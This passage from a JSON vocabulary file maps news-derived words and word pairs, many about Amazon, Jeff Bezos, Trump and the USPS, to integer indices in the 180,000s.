ended": 180629, "housing residents": 180630, "onlypresident": 180631, "shorter history": 180632, "manila film": 180633, "begin insinuations": 180634, "states ravaged": 180635, "darkside episode": 180636, "yes herera": 180637, "caused controversy": 180638, "product helps": 180639, "stunning results": 180640, "visit fulfillment": 180641, "executives business": 180642, "balloons": 180643, "disappointed": 180644, "academic futures": 180645, "climbed sharply": 180646, "ramsay alan": 180647, "industrial waterways": 180648, "wire fall": 180649, "located just": 180650, "reasons policies": 180651, "asahi": 180652, "pelley rosenstein": 180653, "flair": 180654, "group bezos": 180655, "sonorous": 180656, "mile capabilities": 180657, "gaining traction": 180658, "colleagues tony": 180659, "democratic political": 180660, "repeated america": 180661, "tax havens": 180662, "content policy": 180663, "travel aides": 180664, "catastrophic events": 180665, "results chris": 180666, "press amgen": 180667, "replay replay": 180668, "group lyft": 180669, "readiness new": 180670, "leader lesther": 180671, "melania escalating": 180672, "brand credibility": 180673, "domo extends": 180674, "technology guidance": 180675, "marketwatch predicted": 180676, "reopens": 180677, "digital wallet": 180678, "shave": 180679, "transition rubenstein": 180680, "latest proposal": 180681, "reply cancel": 180682, "ebay sellers": 180683, "grumman": 180684, "npdholiday amazon": 180685, "census unlike": 180686, "tech backlash": 180687, "helium filled": 180688, "facing unprecedented": 180689, "multimillionaires": 180690, "massachusettes politician": 180691, "personally filed": 180692, "evidence aside": 180693, "culture media": 180694, "survey amazon": 180695, "homelessness traffic": 180696, "usps profitable": 180697, "kevin dietsch": 180698, "divorce mediaite": 180699, "bluster": 180700, "usps dual": 180701, "world just": 180702, "monrovia": 180703, "actually meant": 180704, "dodge billions": 180705, "2020 challenge": 180706, "consumers communicate": 180707, "edwin chan": 180708, "logistics giant": 180709, "launched prime": 180710, "blaze squeebles": 180711, "teach strategies": 180712, "media relations": 180713, "1890": 180714, "ana vanessa": 180715, "jpg formatted_text": 180716, "20874": 180717, "gillian brockell": 180718, "2018 till": 180719, "amazon fortes": 180720, "evys1bk0": 180721, "sampling love": 180722, "copyright reuters": 180723, "woodside": 180724, "yorkers complaining": 180725, "griffeth laura": 180726, "treatments basic": 180727, "continue simply": 180728, "cheerleader oregon": 180729, "claims inaccurate": 180730, "key intelligence": 180731, "separately consumer": 180732, "founders divorce": 180733, "interview reveals": 180734, "package includes": 180735, "greatness mayor": 180736, "arabia names": 180737, "bloomingdale bloomingdales": 180738, "seeing incredible": 180739, "deasy chief": 180740, "immigration issue": 180741, "thrones coming": 180742, "trump vodka": 180743, "ramsay": 180744, "major step": 180745, "market north": 180746, "brand social": 180747, "provider chases": 180748, "reconciliation": 180749, "dave dixon": 180750, "story opinion": 180751, "couldn sleep": 180752, "killer snared": 180753, "rising construction": 180754, "mentions development": 180755, "impending division": 180756, "lynch strategists": 180757, "longtime cloud": 180758, "hut": 180759, "unsavory": 180760, "subscription streaming": 180761, "ball love": 180762, "related illnesses": 180763, "senatepro": 180764, "major airports": 180765, "label goods": 180766, "elections congress": 180767, "editor bob": 180768, "especially": 180769, "tv series": 180770, "certainly helpful": 180771, "response reuters": 180772, "nawazuddin siddiqui": 180773, "higher initial": 180774, "amazon bans": 180775, "gov gavin": 180776, "atlantic david": 180777, "valley fraudster": 180778, "ramping": 180779, "times julian": 180780, "leaked information": 180781, "brexit divorce": 180782, "customers trump": 180783, "unprecedented events": 180784, "mijente aims": 180785, "crime writer": 180786, "election ending": 180787, "storing chilled": 180788, "zealand south": 180789, "emerging industries": 180790, "whatsapp don": 180791, "assad": 180792, "comedy writer": 180793, "world big": 180794, "protective gloves": 180795, "issue muckerman": 180796, "drawn abundant": 180797, "lyft black": 180798, "reassured": 180799, "laptop maker": 180800, "democracy box": 180801, "business giant": 180802, "washington county": 180803, "new portal": 180804, "environmental impact": 180805, "kindness challenge": 180806, "thing crosstalk": 180807, "reaction congress": 180808, "shannon liss": 180809, "bomb houston": 180810, "governors serving": 180811, "profile jeff": 180812, "reliable communications": 180813, "traci": 180814, "fathers estate": 180815, "pleasant": 180816, "forfeit 153": 180817, "value nearly": 180818, "002 590": 180819, "says universal": 180820, "baku azerbaijan": 180821, "times tables": 180822, "children risk": 180823, "coincidental daniel": 180824, "research expects": 180825, "based financial": 180826, "reality sets": 180827, "provided apple": 180828, "arabia threatens": 180829, "partners raises": 180830, "kinder": 180831, "brazil represents": 180832, "removing conservative": 180833, "deranged": 180834, "long relied": 180835, "solid underlying": 180836, "marius conman": 180837, "monk": 180838, "adviser jared": 180839, "promoting liberal": 180840, "published fear": 180841, "individually": 180842, "portrays white": 180843, "fall new": 180844, "a0": 180845, "pinging": 180846, "fredrik backman": 180847, "schitt": 180848, "families": 180849, "new kingdom": 180850, "tenured professor": 180851, "negotiated better": 180852, "doesn hold": 180853, "people make": 180854, "incentive fund": 180855, "enjoy picnic": 180856, "increased revenue": 180857, "trillium": 180858, "amzn ipos": 180859, "hoda kotb": 180860, "architects": 180861, "second wife": 180862, "new retailer": 180863, "kwan read": 180864, "target usually": 180865, "putin arrived": 180866, "music albums": 180867, "factsheets": 180868, "reassess": 180869, "republican federal": 180870, "trump russian": 180871, "hummus jonathan": 180872, "sequitur": 180873, "dropped going": 180874, "hangover 2018": 180875, "republican sen": 180876, "taunts onlookers": 180877, "versailles 1919": 180878, "roseanne just": 180879, "delivery model": 180880, "cards yeah": 180881, "voting shares": 180882, "children data": 180883, "insightful speakers": 180884, "amc park": 180885, "resulting unevenness": 180886, "increasingly view": 180887, "kaepernick collusion": 180888, "privacy settlement": 180889, "deal seth": 180890, "killed black": 180891, "better suited": 180892, "bay": 180893, "nasdaq entering": 180894, "11s fake": 180895, "nov 2017": 180896, "prompting aws": 180897, "executive jeff": 180898, "practical state": 180899, "mariah": 180900, "just turned": 180901, "markle post": 180902, "german chancellor": 180903, "creditors": 180904, "term appointment": 180905, "defeat fargo": 180906, "bucket soap": 180907, "book donald": 180908, "lawsuit leaves": 180909, "cost democrats": 180910, "patents subsidies": 180911, "reporter kaitlan": 180912, "particular shipment": 180913, "deserves half": 180914, "church basement": 180915, "air tv": 180916, "broad product": 180917, "poke fun": 180918, "targeted david": 180919, "padma lakshmi": 180920, "segar": 180921, "flagged truck": 180922, "gadgets black": 180923, "dominance eu": 180924, "old school": 180925, "noted run": 180926, "overtly partisan": 180927, "post publishing": 180928, "shafer": 180929, "modification won": 180930, "disneyland resort": 180931, "andy": 180932, "market amazon": 180933, "ordered mum": 180934, "higher property": 180935, "sales boom": 180936, "media emphatically": 180937, "viverito criticized": 180938, "o2x j0": 180939, "numbers consider": 180940, "support south": 180941, "remembering jonathan": 180942, "greater amazon": 180943, "brewing beer": 180944, "present reasons": 180945, "analysts q4": 180946, "numerous recommendations": 180947, "expanding apprenticeship": 180948, "pine hill": 180949, "amazon deal": 180950, "monroeville": 180951, "subcommittee": 180952, "checked": 180953, "squarespace opencart": 180954, "quite soon": 180955, "robocall firm": 180956, "dept": 180957, "fedex retail": 180958, "early statement": 180959, "billion really": 180960, "selling especially": 180961, "consultancy gist": 180962, "contributed reporting": 180963, "deny protests": 180964, "perkins": 180965, "prison sentence": 180966, "cedes": 180967, "confirmed deep": 180968, "katie van": 180969, "tips events": 180970, "rourke says": 180971, "lauren reportedly": 180972, "boss sex": 180973, "daytime": 180974, "kept private": 180975, "deficit alleging": 180976, "california white": 180977, "buzzsaw claudette": 180978, "silver medal": 180979, "nat": 180980, "strangely historic": 180981, "300x200 getty_478170176_388027": 180982, "coalition depending": 180983, "kumar communications": 180984, "preferential hiring": 180985, "middlemen want": 180986, "chrysler michael": 180987, "company expects": 180988, "lucky generals": 180989, "asia air": 180990, "chris sanders": 180991, "new license": 180992, "moniker obviously": 180993, "minimum corporate": 180994, "uber investment": 180995, "josep": 180996, "ydanis independent": 180997, "ratchet": 180998, "competitor alibaba": 180999, "saudi writer": 181000, "email reveals": 181001, "nation history": 181002, "correctly assess": 181003, "report indicates": 181004, "paid subscription": 181005, "measured tone": 181006, "watch core": 181007, "business mom": 181008, "sharp objects": 181009, "subtitled comments": 181010, "shortly make": 181011, "buddy picture": 181012, "big things": 181013, "specifically targeting": 181014, "really changed": 181015, "mom don": 181016, "earning thumbs": 181017, "cps special": 181018, "colonial power": 181019, "published controversial": 181020, "base represents": 181021, "2018 virtually": 181022, "pregnant": 181023, "cook zuckerberg": 181024, "discrimination lawsuits": 181025, "fairly strong": 181026, "just received": 181027, "year 93m": 181028, "empower llc": 181029, "facing international": 181030, "company lofty": 181031, "bread white": 181032, "involve": 181033, "asset management": 181034, "parcel select": 181035, "making nearly": 181036, "mueller robert": 181037, "notorious tabloid": 181038, "downing street": 181039, "utah republican": 181040, "amplified considerably": 181041, "colored brazilians": 181042, "bearing": 181043, "automatically installing": 181044, "eggshells business": 181045, "magazine wirtschaftswoche": 181046, "stone advice": 181047, "independent government": 181048, "amazon expansion": 181049, "haslam": 181050, "expand gun": 181051, "knows bezos": 181052, "comments suggestions": 181053, "fund costly": 181054, "merrill williams": 181055, "website items": 181056, "agency pricing": 181057, "given hall": 181058, "sumner redstone": 181059, "published photos": 181060, "marketed definition": 181061, "way consequently": 181062, "ptsd flotus": 181063, "alabamians": 181064, "americans stopped": 181065, "discourse gives": 181066, "greenfield": 181067, "margaret katranides": 181068, "key points": 181069, "unanimous consensus": 181070, "lieutenant general": 181071, "asian continent": 181072, "sanctimonious": 181073, "business agreement": 181074, "mackenzie pushing": 181075, "doesn reflect": 181076, "whacky": 181077, "house tour": 181078, "crown jewel": 181079, "england soccer": 181080, "shames": 181081, "campaign suggesting": 181082, "showing photo": 181083, "pubg\u30e2\u30d0\u30a4\u30eb pubgclips": 181084, "abuse meeting": 181085, "interrupted": 181086, "ironman": 181087, "hdr bosch": 181088, "workers movement": 181089, "usps loses": 181090, "white places": 181091, "te ching": 181092, "quo economically": 181093, "relocation": 181094, "washington rubenstein": 181095, "spending follows": 181096, "prepares": 181097, "360": 181098, "magazine foodways": 181099, "bmo capital": 181100, "581": 181101, "despite lot": 181102, "company receive": 181103, "pitfalls jackie": 181104, "sun london": 181105, "executive immigration": 181106, "benefit losses": 181107, "34852323 related": 181108, "fro jeff": 181109, "tax don": 181110, "war peace": 181111, "utah retirement": 181112, "editor friede": 181113, "choice hillary": 181114, "explorer": 181115, "knowledge integrity": 181116, "minimisation": 181117, "deportation plan": 181118, "governments argues": 181119, "eyebrow": 181120, "3647 gounardes": 181121, "herera today": 181122, "florian": 181123, "backers": 181124, "418 marshall": 181125, "uneasy relationship": 181126, "border town": 181127, "disregard amazon": 181128, "beast families": 181129, "allow cadaver": 181130, "ib": 181131, "separate facilities": 181132, "cornwall succeeds": 181133, "weakening public": 181134, "price strategy": 181135, "represents american": 181136, "spinner_ containerid": 181137, "function trump": 181138, "van els": 181139, "mouth netflix": 181140, "sweetened": 181141, "key dictum": 181142, "headlinetext videocardcontents": 181143, "booking billions": 181144, "official estimate": 181145, "fended": 181146, "growth area": 181147, "different degrees": 181148, "billion days": 181149, "club want": 181150, "include planning": 181151, "therapy": 181152, "reports including": 181153, "house fear": 181154, "earlier bolsonaro": 181155, "weightlessness": 181156, "written blog": 181157, "volz sen": 181158, "reorganize": 181159, "skaters circling": 181160, "unsworth": 181161, "told davie": 181162, "real momentum": 181163, "enquirer coordinated": 181164, "journalism bezos": 181165, "wilting": 181166, "trump neuroses": 181167, "twitter emilyelarsen": 181168, "sanchez nether": 181169, "asap": 181170, "stayed home": 181171, "rookie": 181172, "jeff sessions": 181173, "adaptive": 181174, "background photo": 181175, "think identify": 181176, "en08u1mq6v": 181177, "climate controlled": 181178, "theory making": 181179, "elections mean": 181180, "lori hinnant": 181181, "perceived edge": 181182, "post signed": 181183, "scares": 181184, "anxieties": 181185, "unfairly penalize": 181186, "launch alliance": 181187, "titled cigna": 181188, "ipt clicked": 181189, "irony did": 181190, "trump barrage": 181191, "easy": 181192, "council members": 181193, "uncanny": 181194, "area related": 181195, "launched project": 181196, "minimize": 181197, "reaction selyukh": 181198, "jeff vandermeer": 181199, "seen bezos": 181200, "cnn width": 181201, "aspirational": 181202, "just divisive": 181203, "says editors": 181204, "aisne": 181205, "dunn resignation": 181206, "dillards": 181207, "small scale": 181208, "election democratic": 181209, "uncooked materials": 181210, "pyenson": 181211, "cid": 181212, "companies gov": 181213, "getting solittle": 181214, "promoting organics": 181215, "trump photo": 181216, "superior investor": 181217, "geographic travel": 181218, "time commerce": 181219, "mandate": 181220, "states sanders": 181221, "1000 ways": 181222, "profitable branches": 181223, "kyl resigns": 181224, "groups indigenous": 181225, "meng legislation": 181226, "businesswomen nurses": 181227, "million legal": 181228, "manafort president": 181229, "market market": 181230, "mel pfeiffer": 181231, "final similarity": 181232, "backed": 181233, "old mom": 181234, "empire center": 181235, "president amit": 181236, "face criminal": 181237, "bankruptcy nearly": 181238, "feverish": 181239, "initially denied": 181240, "art exhibition": 181241, "nafta ii": 181242, "combat antibiotic": 181243, "personal romantic": 181244, "slowing amazon": 181245, "chairman pai": 181246, "designs products": 181247, "paletta": 181248, "foes districts": 181249, "fiercest": 181250, "fraud reviews": 181251, "joaquin valley": 181252, "seattle having": 181253, "potentially": 181254, "force created": 181255, "cause amazon": 181256, "jocum youth": 181257, "albertalli": 181258, "midwestern malaise": 181259, "leaving rural": 181260, "finally reality": 181261, "beltway": 181262, "says cnbc": 181263, "hectares 747": 181264, "recently benefit": 181265, "options traders": 181266, "public good": 181267, "agency detected": 181268, "address rising": 181269, "mtch": 181270, "inspired tumble": 181271, "annually charging": 181272, "post losses": 181273, "pricing structure": 181274, "jobs worldwide": 181275, "rates blaming": 181276, "tax employers": 181277, "overarching": 181278, "amazon logistics": 181279, "carpet taron": 181280, "high set": 181281, "price change": 181282, "telling trump": 181283, "executives believe": 181284, "taunts": 181285, "fairer trade": 181286, "transactions figured": 181287, "annoyance incidentally": 181288, "stifel chief": 181289, "sypha belnades": 181290, "brain tumor": 181291, "management released": 181292, "new rate": 181293, "new measures": 181294, "hearing howorth": 181295, "categories apparel": 181296, "estate owners": 181297, "b3x": 181298, "followup": 181299, "defaulted consumer": 181300, "bonaventure": 181301, "etiquette photo": 181302, "internet today": 181303, "simply miles": 181304, "media surveillance": 181305, "clean state": 181306, "relocating": 181307, "maze pumpkin": 181308, "briefly plunged": 181309, "recovery rate": 181310, "state balances": 181311, "superb": 181312, "woodside queens": 181313, "walmart microsoft": 181314, "redistributed copied": 181315, "45m shares": 181316, "making game": 181317, "effective treatments": 181318, "discuss trade": 181319, "index losses": 181320, "escalating climate": 181321, "recipient country": 181322, "yard trash": 181323, "william county": 181324, "contends pen": 181325, "conference aiming": 181326, "double ellison": 181327, "component intel": 181328, "autoplayvideoexist true": 181329, "impoverished": 181330, "directly asked": 181331, "time le": 181332, "texas program": 181333, "klein": 181334, "station wamc": 181335, "charming": 181336, "sustain twitter": 181337, "media impressions": 181338, "evan perez": 181339, "shares hit": 181340, "tully": 181341, "amaze": 181342, "videodurationdivid": 181343, "haphazard editorial": 181344, "district borders": 181345, "cnns": 181346, "adragna ryan": 181347, "savory slab": 181348, "correspondence": 181349, "kentucky request": 181350, "extraordinary": 181351, "people left": 181352, "trade opening": 181353, "ronald brownstein": 181354, "maintenance street": 181355, "burn click": 181356, "pitch intruder": 181357, "eerie": 181358, "withdraws": 181359, "took nearly": 181360, "detains": 181361, "increase blair": 181362, "perfectly reasonable": 181363, "tax doesn": 181364, "500 index": 181365, "kelly 179": 181366, "maker new": 181367, "khan director": 181368, "backed space": 181369, "accounts targeting": 181370, "senate raising": 181371, "progress hitting": 181372, "procurement process": 181373, "watched data": 181374, "amazon staff": 181375, "chain companies": 181376, "online advertising": 181377, "latest congress": 181378, "famously acidic": 181379, "reportedly printing": 181380, "lauren eyster": 181381, "government don": 181382, "cities trump": 181383, "says national": 181384, "muppets": 181385, "nada": 181386, "almed": 181387, "origin plans": 181388, "neos therapeutics": 181389, "chuckle citi": 181390, "individual responsibility": 181391, "entreaties": 181392, "risks citing": 181393, "b8": 181394, "chain quite": 181395, "spend": 181396, "strongest example": 181397, "amci aircraft": 181398, "environmentalists": 181399, "landmark address": 181400, "composite dropped": 181401, "netflix starring": 181402, "extra cost": 181403, "sebastian using": 181404, "priced home": 181405, "gives new": 181406, "lover love": 181407, "xi wants": 181408, "maloney ny": 181409, "cultural expressions": 181410, "876 000": 181411, "real way": 181412, "concentrating": 181413, "microscope usually": 181414, "liberals hate": 181415, "paloma faith": 181416, "morrison announced": 181417, "gowdy": 181418, "gul voa": 181419, "partners nader": 181420, "facebook cost": 181421, "plastics": 181422, "act amazon": 181423, "years critics": 181424, "sales trump": 181425, "channelhash server719399": 181426, "clipped": 181427, "mlb": 181428, "aljazeera egypt": 181429, "drama lost": 181430, "social elites": 181431, "alexa commands": 181432, "consumers allow": 181433, "aut_blurb": 181434, "old executive": 181435, "county representing": 181436, "ofamazon": 181437, "janine issues": 181438, "senior equity": 181439, "linsley": 181440, "mention": 181441, "emphasize": 181442, "courier journal": 181443, "correspondent walmart": 181444, "separations msnbc": 181445, "remain frosty": 181446, "ray machines": 181447, "cures": 181448, "pixar": 181449, "unit plan": 181450, "resist hitting": 181451, "custom": 181452, "aides bad": 181453, "color coordinated": 181454, "invests heavily": 181455, "new shephard": 181456, "presidency motion": 181457, "service notion": 181458, "ma breakthrough": 181459, "assorted": 181460, "died later": 181461, "murray character": 181462, "kc 330": 181463, "leave trail": 181464, "equity mutual": 181465, "morath weber": 181466, "initially": 181467, "amazon amasses": 181468, "2016 file": 181469, "732 000": 181470, "unwound ms": 181471, "adsbygoogle push": 181472, "new paradigm": 181473, "growth technology": 181474, "j5q": 181475, "254 pounds": 181476, "valley lawyer": 181477, "positive corporate": 181478, "lap news": 181479, "license rubenstein": 181480, "black barbecue": 181481, "d4": 181482, "sanders violated": 181483, "hq2 dec": 181484, "books eat": 181485, "told spanish": 181486, "viewpoints earlier": 181487, "wilder": 181488, "wtf": 181489, "policy responded": 181490, "financial arrangement": 181491, "business analysts": 181492, "giants cut": 181493, "china isn": 181494, "unfairly suspended": 181495, "initial public": 181496, "stature dr": 181497, "sciences buildings": 181498, "turks": 181499, "cbg": 181500, "mean handout": 181501, "funds love": 181502, "emotional toll": 181503, "development ramps": 181504, "associated press": 181505, "spell reported": 181506, "vehicles drive": 181507, "pullback alongside": 181508, "new anthology": 181509, "book gained": 181510, "shutterstock amazon": 181511, "conagra": 181512, "twinpeaks pic": 181513, "team writes": 181514, "investors entrepreneurs": 181515, "slashed": 181516, "seen worries": 181517, "cable covers": 181518, "800 billion": 181519, "copyright npr": 181520, "norman rockwell": 181521, "blew great": 181522, "eastside overreaction": 181523, "read instead": 181524, "purchase wiped": 181525, "presenter ms": 181526, "hillary senate": 181527, "standard poor": 181528, "wicket victory": 181529, "civilian government": 181530, "yawners selfie": 181531, "wapo attn": 181532, "redeker senior": 181533, "london stem": 181534, "news votes": 181535, "account consider": 181536, "platforms facebook": 181537, "wait playwright": 181538, "financial reported": 181539, "facebook user": 181540, "emergencies hiking": 181541, "news according": 181542, "realty": 181543, "npr": 181544, "panel discussions": 181545, "llcs": 181546, "unknown cast": 181547, "000 lower": 181548, "infamous": 181549, "leader melted": 181550, "redesigned": 181551, "poses job": 181552, "depletion": 181553, "1606et": 181554, "department procurement": 181555, "mcclatchy podcast": 181556, "diane lansinger": 181557, "deals rachel": 181558, "latin": 181559, "contrary": 181560, "purchases president": 181561, "futures pushed": 181562, "meekly": 181563, "2020 150": 181564, "workers trump": 181565, "post stories": 181566, "headlines conclusions": 181567, "patriotic duty": 181568, "public rallying": 181569, "collide right": 181570, "provider right": 181571, "20th": 181572, "offered directly": 181573, "wetherbee": 181574, "making gun": 181575, "netflix cancellation": 181576, "nation 2018": 181577, "marks teller": 181578, "time congress": 181579, "record skid": 181580, "probe muddying": 181581, "photo jose": 181582, "atsocialmedia": 181583, "rode": 181584, "crisply": 181585, "whereso": 181586, "exceeded billion": 181587, "oil city": 181588, "media campaign": 181589, "banning prominent": 181590, "red flags": 181591, "theamerican": 181592, "need javascript": 181593, "impressively": 181594, "article37723967": 181595, "defaming": 181596, "placement": 181597, "jobs politifact": 181598, "program does": 181599, "dollar cronk": 181600, "michael karas": 181601, "martin ap": 181602, "maggienyt": 181603, "couldn survive": 181604, "indiana jones": 181605, "lord begins": 181606, "local level": 181607, "stock sell": 181608, "different figure": 181609, "paid mcdougal": 181610, "sunstein lays": 181611, "repeatedly attacked": 181612, "forecast kelly": 181613, "open air": 181614, "trump erroneously": 181615, "laws trump": 181616, "connecticut ___": 181617, "streaming trump": 181618, "porn actress": 181619, "ron hubbard": 181620, "apparatus": 181621, "tumbling new": 181622, "page glossy": 181623, "fictional commander": 181624, "2018 unlike": 181625, "class coffee": 181626, "warm vibes": 181627, "specifically focused": 181628, "laurene powell": 181629, "000 loss": 181630, "residents virginia": 181631, "purpose vision": 181632, "savages": 181633, "hilarious options": 181634, "save credibility": 181635, "arsenal": 181636, "contractual frustration": 181637, "spot woodward": 181638, "decided": 181639, "city government": 181640, "burdick": 181641, "seattle company": 181642, "company facebook": 181643, "pressured usps": 181644, "available legally": 181645, "obvious pandering": 181646, "separation tabloids": 181647, "organization rate": 181648, "wars acronym": 181649, "conserve": 181650, "lehrer marijuana": 181651, "cuomo nixon": 181652, "returning soldiers": 181653, "send follow": 181654, "scouts migrant": 181655, "washington photo": 181656, "devised": 181657, "nearest individual": 181658, "money bezos": 181659, "aclu multiple": 181660, "avoided having": 181661, "demarcation industry": 181662, "redemption": 181663, "deeply involved": 181664, "dhs": 181665, "successful federal": 181666, "adviser kathleen": 181667, "watch roku": 181668, "drown": 181669, "genny": 181670, "capitol forum": 181671, "amazon using": 181672, "acquisition wouldn": 181673, "war fortunately": 181674, "day gift": 181675, "guadalajara cartel": 181676, "giant carlyle": 181677, "tracy": 181678, "elemental guide": 181679, "impose tax": 181680, "successor jeff": 181681, "smarter way": 181682, "ongoing bromance": 181683, "corporate giveaways": 181684, "new technologies": 181685, "stocks really": 181686, "water dirty": 181687, "heavy scrutiny": 181688, "favoring": 181689, "tax deals": 181690, "index beating": 181691, "newspaper detailing": 181692, "management tactics": 181693, "poles": 181694, "married jeff": 181695, "valerie": 181696, "100x": 181697, "intrigue president": 181698, "doctor": 181699, "ejyejuwyxo simon": 181700, "countless internet": 181701, "remembered greenwich": 181702, "noted change": 181703, "wind gusts": 181704, "kamhi donald": 181705, "produced report": 181706, "just opened": 181707, "keywords house": 181708, "389 shares": 181709, "consumer interests": 181710, "department issued": 181711, "ad buying": 181712, "left": 181713, "race ulrich": 181714, "indigenous rights": 181715, "advancing economy": 181716, "civil society": 181717, "265 points": 181718, "global oversight": 181719, "actual employees": 181720, "billion credit": 181721, "randy brooks": 181722, "costs thanks": 181723, "fan children": 181724, "foreign influence": 181725, "benioff doubled": 181726, "twitter deletes": 181727, "administration defiance": 181728, "stint": 181729, "time bezos": 181730, "wanderer plus": 181731, "post practically": 181732, "political movement": 181733, "swords": 181734, "szklarski cassandra": 181735, "know taking": 181736, "licenses google": 181737, "honor roll": 181738, "amzn apple": 181739, "lawmakers criticize": 181740, "cuomo thank": 181741, "set aside": 181742, "mans racing": 181743, "monitor harvey": 181744, "island legislators": 181745, "franzia explains": 181746, "reup": 181747, "brody book": 181748, "stock exposure": 181749, "jerritt": 181750, "fubotv cbs": 181751, "time tax": 181752, "record sanders": 181753, "marketwatch orfacebook": 181754, "records following": 181755, "1732et": 181756, "swinging talked": 181757, "facilities home": 181758, "yee": 181759, "jobs numbers": 181760, "publication thanks": 181761, "baby warren": 181762, "comparison website": 181763, "teach": 181764, "germs": 181765, "won carry": 181766, "citigroup employee": 181767, "great danger": 181768, "computing gig": 181769, "q6 substring": 181770, "lured amazon": 181771, "germain reported": 181772, "report particulars": 181773, "skull": 181774, "queens according": 181775, "research estimates": 181776, "mackenzie finalized": 181777, "draining": 181778, "administrative reforms": 181779, "hedging": 181780, "large military": 181781, "fundamental omission": 181782, "rights": 181783, "squire patton": 181784, "named patrick": 181785, "gates gates": 181786, "heartbreak": 181787, "party rule": 181788, "russian agent": 181789, "morgan modern": 181790, "ryan joins": 181791, "related criticism": 181792, "biodiversity impact": 181793, "shock 140bn": 181794, "tallahassee police": 181795, "untypical": 181796, "homes partnering": 181797, "raymond fisman": 181798, "personalized technology": 181799, "app forget": 181800, "impacting society": 181801, "won hurt": 181802, "blackmailing trump": 181803, "include commerce": 181804, "splc appear": 181805, "chronicled period": 181806, "shone light": 181807, "hashing": 181808, "thrilling": 181809, "douliery pool": 181810, "reduce rainfall": 181811, "including tools": 181812, "letter carrier": 181813, "hu": 181814, "forecast google": 181815, "crimson tide": 181816, "arabian government": 181817, "attack squad": 181818, "green reported": 181819, "beast takes": 181820, "spendier": 181821, "ross yes": 181822, "debt buying": 181823, "summit george": 181824, "travel blitz": 181825, "savory hall": 181826, "jersey woman": 181827, "glowing white": 181828, "attribution": 181829, "weathered insults": 181830, "continuing success": 181831, "apple suppliers": 181832, "travel secrets": 181833, "star game": 181834, "removeattr href": 181835, "public school": 181836, "frazier noting": 181837, "reinvent": 181838, "executive steve": 181839, "walked nonetheless": 181840, "sales rival": 181841, "veteran": 181842, "interactive games": 181843, "000 queens": 181844, "cmcsa owner": 181845, "new mother": 181846, "evolution man": 181847, "relationship 2018": 181848, "scene fedex": 181849, "chain logistics": 181850, "airlines complies": 181851, "city vision": 181852, "did bad": 181853, "officially sanctioned": 181854, "seals": 181855, "chess": 181856, "randy dunn": 181857, "times chef": 181858, "klem": 181859, "motivated federal": 181860, "remember walmart": 181861, "metropolitan leaders": 181862, "developed strict": 181863, "airline entrepreneur": 181864, "dangerous chilling": 181865, "nondefense": 181866, "s8 g8": 181867, "tyra": 181868, "hazy": 181869, "recollection": 181870, "remain unconvinced": 181871, "domain unit": 181872, "lsd today": 181873, "griffeth": 181874, "longer statement": 181875, "270 days": 181876, "unusual manner": 181877, "abattoir weirder": 181878, "customer trends": 181879, "striking terms": 181880, "100 adobe": 181881, "managers control": 181882, "rex": 181883, "judge jeanine": 181884, "2015s": 181885, "ly 2rqdhqz": 181886, "people surmise": 181887, "harvest": 181888, "google founders": 181889, "stamps rich": 181890, "florida 46th": 181891, "contracts joshua": 181892, "era gains": 181893, "repeatedly saying": 181894, "reef die": 181895, "griffin check": 181896, "read sanders": 181897, "changed block": 181898, "poll annual": 181899, "downright falsehoods": 181900, "190 shares": 181901, "spending 400": 181902, "executive rosalind": 181903, "fact based": 181904, "transportation systems": 181905, "bezos throwing": 181906, "affordable delivery": 181907, "service director": 181908, "amgen": 181909, "worse jill": 181910, "fining": 181911, "season according": 181912, "perfectly good": 181913, "perry remembered": 181914, "toadstool trump": 181915, "total shares": 181916, "thoroughly investigating": 181917, "r15 87bn": 181918, "mansueto": 181919, "profiled": 181920, "private parties": 181921, "helplessly": 181922, "2009 birmingham": 181923, "classic flick": 181924, "russia meddled": 181925, "magic fortune": 181926, "manufacturers testing": 181927, "breadcrumbs contained": 181928, "sales does": 181929, "war tariffs": 181930, "extradition": 181931, "google mini": 181932, "won hike": 181933, "just 466": 181934, "press milk": 181935, "pecker company": 181936, "major upstarts": 181937, "course knows": 181938, "group walmart": 181939, "exhausted": 181940, "half billion": 181941, "coverage leading": 181942, "lexi pursley": 181943, "receive public": 181944, "similar story": 181945, "affair discrediting": 181946, "particulars unsustainable": 181947, "post reagan": 181948, "kelman": 181949, "right people": 181950, "announcedwell": 181951, "manchester bombing": 181952, "progressive agenda": 181953, "contact jesse": 181954, "especially rural": 181955, "york rangers": 181956, "added panel": 181957, "invade indigenous": 181958, "thisbill": 181959, "deteriorate standalone": 181960, "usps overhead": 181961, "harm people": 181962, "nuclear tests": 181963, "contra costa": 181964, "president levy": 181965, "tamblyn started": 181966, "trump asylum": 181967, "candidates boeing": 181968, "quote msnbc": 181969, "loses revenue": 181970, "longtime murakami": 181971, "irving 100": 181972, "rick tyler": 181973, "pricing plan": 181974, "concept cease": 181975, "physics": 181976, "wing activists": 181977, "planetary potency": 181978, "sanders tour": 181979, "campaign supporter": 181980, "headquarters rents": 181981, "manager trump": 181982, "necessities tulsa": 181983, "vilified threatened": 181984, "palaces": 181985, "best shot": 181986, "married ivana": 181987, "people rights": 181988, "robach greece": 181989, "staging": 181990, "stranger nadler": 181991, "government contractsanalysts": 181992, "contributor jeff": 181993, "midterms voter": 181994, "brand suffered": 181995, "coverage couple": 181996, "sanders continues": 181997, "cards right": 181998, "drivers don": 181999, "stop characterising": 182000, "futures pull": 182001, "protesters marched": 182002, "soon dress": 182003, "pete frates": 182004, "trump forum": 182005, "profitable advertising": 182006, "adverse effect": 182007, "pouncing": 182008, "coffee ability": 182009, "unlikely new": 182010, "publishing politically": 182011, "posted net": 182012, "2018 politics": 182013, "spotlight recently": 182014, "weren returned": 182015, "think participant": 182016, "biotech": 182017, "afghan gov": 182018, "approximately 500": 182019, "landover md": 182020, "hall girls": 182021, "note stuart": 182022, "extraordinary presidential": 182023, "hurting republican": 182024, "joe donnelly": 182025, "ptsd": 182026, "communications google": 182027, "happily selling": 182028, "auteurs just": 182029, "regulatory environment": 182030, "absolutely unacceptable": 182031, "paid twitter": 182032, "later photographer": 182033, "rainfall months": 182034, "huang ceo": 182035, "commission component": 182036, "bound": 182037, "2659 bought": 182038, "cnl_custom_article_footer": 182039, "gold ends": 182040, "snapshot column": 182041, "cowardly lion": 182042, "andrea riccio": 182043, "average gained": 182044, "story laura": 182045, "amazon accuses": 182046, "prweb emmy": 182047, "season possibly": 182048, "breakup cross": 182049, "sarasara": 182050, "forbes released": 182051, "reprinted wall": 182052, "kelton stephaniekelton": 182053, "foot lost": 182054, "arisen": 182055, "calibrated look": 182056, "anchor ny": 182057, "copycats": 182058, "ring despite": 182059, "government investigation": 182060, "filmmakers offer": 182061, "insider dit": 182062, "did piece": 